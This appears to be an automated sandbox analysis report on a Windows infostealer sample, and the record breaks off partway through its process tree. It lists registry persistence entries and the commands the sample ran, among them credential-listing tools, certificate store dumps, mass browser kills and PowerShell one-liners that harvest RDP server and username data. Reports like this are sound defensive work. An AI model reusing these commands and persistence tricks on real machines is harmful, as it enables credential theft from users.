19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a

Analysis

max time kernel
149s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/08/2026, 08:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
Size 5.1MB
Sample260814-krfthayglc
SHA256 19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a
MD5 e1e68c1d960383568c82512124721d0c
SHA1 0330a88502d0c6cb0d6a9b0509edba3381028483
SHA512 bedfe3abe028fd3a53bf8e3a0639256b2d8a47bd61a25b3a7a8ad1d5737237d8ce5c1abcd71c701c394824f513d8f7495e9d12bab6aa09df6fdacf860c2d1fa3
SSDEEP 49152:vLDR3VAys0gscdD7x7qqOL247WJqLT029LsC52QYv8vasYEQEeD8zqDzg3m8lczn:v3L9LgQv+8uv17gitPhKXCLZS64wZ
TLSH
T1CC465C03F69281EDC0AEC179875B9333FA32B8894534B65B5BD4CB222E15F60AF4D758
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\CLR\\runtime_broker.exe"	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\CLR\\runtime_broker.exe\""	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe

Uses browser remote debugging 2 TTPs 18 IoCs

Can be used to control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
5404	msedge.exe
1516	chrome.exe
2900	chrome.exe
1836	chrome.exe
5992	msedge.exe
2392	msedge.exe
3020	chrome.exe
5340	chrome.exe
2668	chrome.exe
4608	chrome.exe
4360	chrome.exe
4304	chrome.exe
4744	chrome.exe
2388	chrome.exe
3124	chrome.exe
2500	chrome.exe
468	chrome.exe
4280	msedge.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 2 IoCs

pid	Process
4220	runtime_broker.exe
4248	runtime_broker.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
Key queried	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsRuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\CLR\\runtime_broker.exe"	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WindowsSecurityService = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\CLR\\runtime_broker.exe"	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4672	powershell.exe
5380	powershell.exe
4908	powershell.exe

Discovers running processes 1 TTPs 20 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4256	tasklist.exe
5496	tasklist.exe
5220	tasklist.exe
3908	tasklist.exe
4344	tasklist.exe
3228	tasklist.exe
5852	tasklist.exe
5112	tasklist.exe
3896	tasklist.exe
4312	tasklist.exe
4848	tasklist.exe
3420	tasklist.exe
5760	tasklist.exe
4248	tasklist.exe
5060	tasklist.exe
2692	tasklist.exe
2468	tasklist.exe
4836	tasklist.exe
2900	tasklist.exe
1412	tasklist.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4908	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4856	msedge.exe
3988	chrome.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
5660	taskkill.exe
4796	taskkill.exe
1468	taskkill.exe
3268	taskkill.exe
4848	taskkill.exe
4552	taskkill.exe
3500	taskkill.exe
1872	taskkill.exe
1076	taskkill.exe
1268	taskkill.exe
5020	taskkill.exe
4316	taskkill.exe
1864	taskkill.exe
3576	taskkill.exe
5000	taskkill.exe
3444	taskkill.exe
1392	taskkill.exe
1412	taskkill.exe
5900	taskkill.exe
4424	taskkill.exe
1740	taskkill.exe
5016	taskkill.exe
960	taskkill.exe
2540	taskkill.exe
3152	taskkill.exe
420	taskkill.exe
2544	taskkill.exe
4764	taskkill.exe
3896	taskkill.exe
1036	taskkill.exe
824	taskkill.exe
5820	taskkill.exe
6064	taskkill.exe
3820	taskkill.exe
5684	taskkill.exe
2544	taskkill.exe
4204	taskkill.exe
1264	taskkill.exe
5164	taskkill.exe
3576	taskkill.exe
3988	taskkill.exe
4304	taskkill.exe
236	taskkill.exe
2644	taskkill.exe
1204	taskkill.exe
5248	taskkill.exe
1832	taskkill.exe
1896	taskkill.exe
5416	taskkill.exe
2184	taskkill.exe
2356	taskkill.exe
5392	taskkill.exe
4936	taskkill.exe
2892	taskkill.exe
708	taskkill.exe
2828	taskkill.exe
3872	taskkill.exe
916	taskkill.exe
96	taskkill.exe
4348	taskkill.exe
6028	taskkill.exe
4148	taskkill.exe
2500	taskkill.exe
4108	taskkill.exe

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134311710343904179"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{AF028613-8684-4147-B404-D96ECC2FB46F}	msedge.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
5380	powershell.exe
5380	powershell.exe
5380	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4908	powershell.exe
4908	powershell.exe
4908	powershell.exe
4304	chrome.exe
4304	chrome.exe
3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4256	tasklist.exe
Token: SeDebugPrivilege	5852	tasklist.exe
Token: SeDebugPrivilege	5380	powershell.exe
Token: SeDebugPrivilege	5328	taskkill.exe
Token: SeDebugPrivilege	5392	taskkill.exe
Token: SeDebugPrivilege	4936	taskkill.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	2392	taskkill.exe
Token: SeDebugPrivilege	1864	taskkill.exe
Token: SeDebugPrivilege	1196	taskkill.exe
Token: SeDebugPrivilege	4348	taskkill.exe
Token: SeDebugPrivilege	824	taskkill.exe
Token: SeDebugPrivilege	6028	taskkill.exe
Token: SeDebugPrivilege	1392	taskkill.exe
Token: SeDebugPrivilege	3576	taskkill.exe
Token: SeDebugPrivilege	3444	taskkill.exe
Token: SeDebugPrivilege	2544	taskkill.exe
Token: SeDebugPrivilege	1036	taskkill.exe
Token: SeIncreaseQuotaPrivilege	4672	powershell.exe
Token: SeSecurityPrivilege	4672	powershell.exe
Token: SeTakeOwnershipPrivilege	4672	powershell.exe
Token: SeLoadDriverPrivilege	4672	powershell.exe
Token: SeSystemProfilePrivilege	4672	powershell.exe
Token: SeSystemtimePrivilege	4672	powershell.exe
Token: SeProfSingleProcessPrivilege	4672	powershell.exe
Token: SeIncBasePriorityPrivilege	4672	powershell.exe
Token: SeCreatePagefilePrivilege	4672	powershell.exe
Token: SeBackupPrivilege	4672	powershell.exe
Token: SeRestorePrivilege	4672	powershell.exe
Token: SeShutdownPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeSystemEnvironmentPrivilege	4672	powershell.exe
Token: SeRemoteShutdownPrivilege	4672	powershell.exe
Token: SeUndockPrivilege	4672	powershell.exe
Token: SeManageVolumePrivilege	4672	powershell.exe
Token: 33	4672	powershell.exe
Token: 34	4672	powershell.exe
Token: 35	4672	powershell.exe
Token: 36	4672	powershell.exe
Token: SeDebugPrivilege	3988	taskkill.exe
Token: SeDebugPrivilege	4148	taskkill.exe
Token: SeDebugPrivilege	4204	taskkill.exe
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeDebugPrivilege	5496	tasklist.exe
Token: SeDebugPrivilege	5248	taskkill.exe
Token: SeDebugPrivilege	5820	taskkill.exe
Token: SeDebugPrivilege	2540	taskkill.exe
Token: SeDebugPrivilege	5660	taskkill.exe
Token: SeDebugPrivilege	2500	taskkill.exe
Token: SeDebugPrivilege	1264	taskkill.exe
Token: SeDebugPrivilege	3268	taskkill.exe
Token: SeDebugPrivilege	1268	taskkill.exe
Token: SeDebugPrivilege	4552	taskkill.exe
Token: SeDebugPrivilege	3500	taskkill.exe
Token: SeDebugPrivilege	3152	taskkill.exe
Token: SeDebugPrivilege	2288	taskkill.exe
Token: SeDebugPrivilege	1832	taskkill.exe
Token: SeDebugPrivilege	1896	taskkill.exe
Token: SeDebugPrivilege	5112	tasklist.exe
Token: SeDebugPrivilege	1412	taskkill.exe
Token: SeDebugPrivilege	4304	taskkill.exe
Token: SeDebugPrivilege	420	taskkill.exe
Token: SeDebugPrivilege	5164	taskkill.exe
Token: SeDebugPrivilege	2672	taskkill.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4304	chrome.exe
5992	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3512 wrote to memory of 4660	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	90
PID 3512 wrote to memory of 5944	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	96
PID 3512 wrote to memory of 4256	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	98
PID 3512 wrote to memory of 5852	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	100
PID 3512 wrote to memory of 1384	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	102
PID 3512 wrote to memory of 5380	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	104
PID 3512 wrote to memory of 5328	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	106
PID 5380 wrote to memory of 5764	5380	powershell.exe	107
PID 3512 wrote to memory of 5772	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	109
PID 3512 wrote to memory of 5392	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	110
PID 3512 wrote to memory of 4936	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	113
PID 3512 wrote to memory of 4772	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	114
PID 3512 wrote to memory of 4672	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	117
PID 3512 wrote to memory of 2392	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	119
PID 3512 wrote to memory of 1864	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	121
PID 3512 wrote to memory of 1196	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	123
PID 3512 wrote to memory of 4348	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	125
PID 3512 wrote to memory of 824	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	127
PID 3512 wrote to memory of 6028	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	129
PID 3512 wrote to memory of 1392	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	131
PID 3512 wrote to memory of 3576	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	133
PID 3512 wrote to memory of 3444	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	135
PID 3512 wrote to memory of 2544	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	137
PID 3512 wrote to memory of 1036	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	139
PID 3512 wrote to memory of 3988	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	231
PID 3512 wrote to memory of 4148	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	143
PID 3512 wrote to memory of 4204	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	145
PID 3512 wrote to memory of 4908	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	146
PID 3512 wrote to memory of 3728	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	149
PID 3512 wrote to memory of 4100	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	151
PID 3512 wrote to memory of 5496	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	153
PID 3512 wrote to memory of 5248	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	155
PID 3512 wrote to memory of 5820	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	157
PID 3512 wrote to memory of 2540	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	159
PID 3512 wrote to memory of 5660	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	161
PID 3512 wrote to memory of 1264	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	251
PID 3512 wrote to memory of 2500	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	241
PID 3512 wrote to memory of 3268	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	167
PID 3512 wrote to memory of 1268	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	243
PID 3512 wrote to memory of 4552	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	171
PID 3512 wrote to memory of 3500	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	173
PID 3512 wrote to memory of 3152	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	175
PID 3512 wrote to memory of 2288	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	177
PID 3512 wrote to memory of 1832	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	179
PID 3512 wrote to memory of 1896	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	224
PID 3512 wrote to memory of 5112	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	183
PID 3512 wrote to memory of 1412	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	226
PID 3512 wrote to memory of 4304	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	228
PID 3512 wrote to memory of 420	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	189
PID 3512 wrote to memory of 5164	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	191
PID 3512 wrote to memory of 2672	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	193
PID 3512 wrote to memory of 5900	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	195
PID 3512 wrote to memory of 4108	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	197
PID 3512 wrote to memory of 236	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	199
PID 3512 wrote to memory of 5060	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	201
PID 3512 wrote to memory of 3896	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	203
PID 3512 wrote to memory of 4836	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	205
PID 3512 wrote to memory of 2692	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	207
PID 3512 wrote to memory of 4312	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	209
PID 3512 wrote to memory of 2900	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	246
PID 3512 wrote to memory of 4848	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	213
PID 3512 wrote to memory of 3420	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	215
PID 3512 wrote to memory of 5220	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	217
PID 3512 wrote to memory of 3908	3512	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	219

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4660	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe

C:\Users\Admin\AppData\Local\Temp\19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
"C:\Users\Admin\AppData\Local\Temp\19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe"
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- outlook_office_path
PID:3512
- C:\Windows\system32\attrib.exe
  "attrib" +H +S C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CLR\runtime_broker.exe
  2⤵
  - Views/modifies file attributes
  PID:4660
- C:\Windows\system32\vaultcmd.exe
  "vaultcmd" /list
  2⤵
  PID:5944
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:4256
- C:\Windows\system32\tasklist.exe
  "tasklist" /FO CSV /NH
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:5852
- C:\Windows\system32\cmdkey.exe
  "cmdkey" /list
  2⤵
  PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command " $entries = cmdkey /list | Select-String \"TERMSRV\" -Context 0,3 foreach ($entry in $entries) { $target = ($entry -split \"target=\")[1].Trim() $ip = $target -replace \"TERMSRV/\", \"\" $userLine = $entry.Context.PostContext | Select-String \"User\" $user = if ($userLine) { ($userLine -split \":\")[1].Trim() } else { \"N/A\" } Write-Output \"Server: $ip | Username: $user\" } "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5380
- - C:\Windows\system32\cmdkey.exe
    "C:\Windows\system32\cmdkey.exe" /list
    3⤵
    PID:5764
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM chrome.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5328
- C:\Windows\system32\certutil.exe
  "certutil" -store My
  2⤵
  PID:5772
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM msedge.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5392
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM brave.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4936
- C:\Windows\system32\certutil.exe
  "certutil" -store -user My
  2⤵
  PID:4772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Get-VpnConnection | ConvertTo-Json"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4672
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM opera.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2392
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM vivaldi.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1864
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM firefox.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1196
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM dragon.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4348
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM maxthon.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:824
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM uc_browser.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:6028
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM slimjet.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1392
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM cent_browser.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3576
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM epic.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3444
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM torch.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2544
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM whale.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1036
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM 360browser.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3988
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM qqbrowser.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4148
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM browser.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command " $regPath = \"HKCU:\Software\Microsoft\Terminal Server Client\Servers\" if (Test-Path $regPath) { Get-ChildItem $regPath | ForEach-Object { $server = $_.PSChildName $usernamePath = Join-Path $_.PSPath \"UsernameHint\" $username = if (Test-Path $usernamePath) { (Get-ItemProperty -Path $usernamePath -Name \"(default)\" -ErrorAction SilentlyContinue).\"(default)\" } else { \"\" } Write-Output \"Server:$server,Username:$username\" } } "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
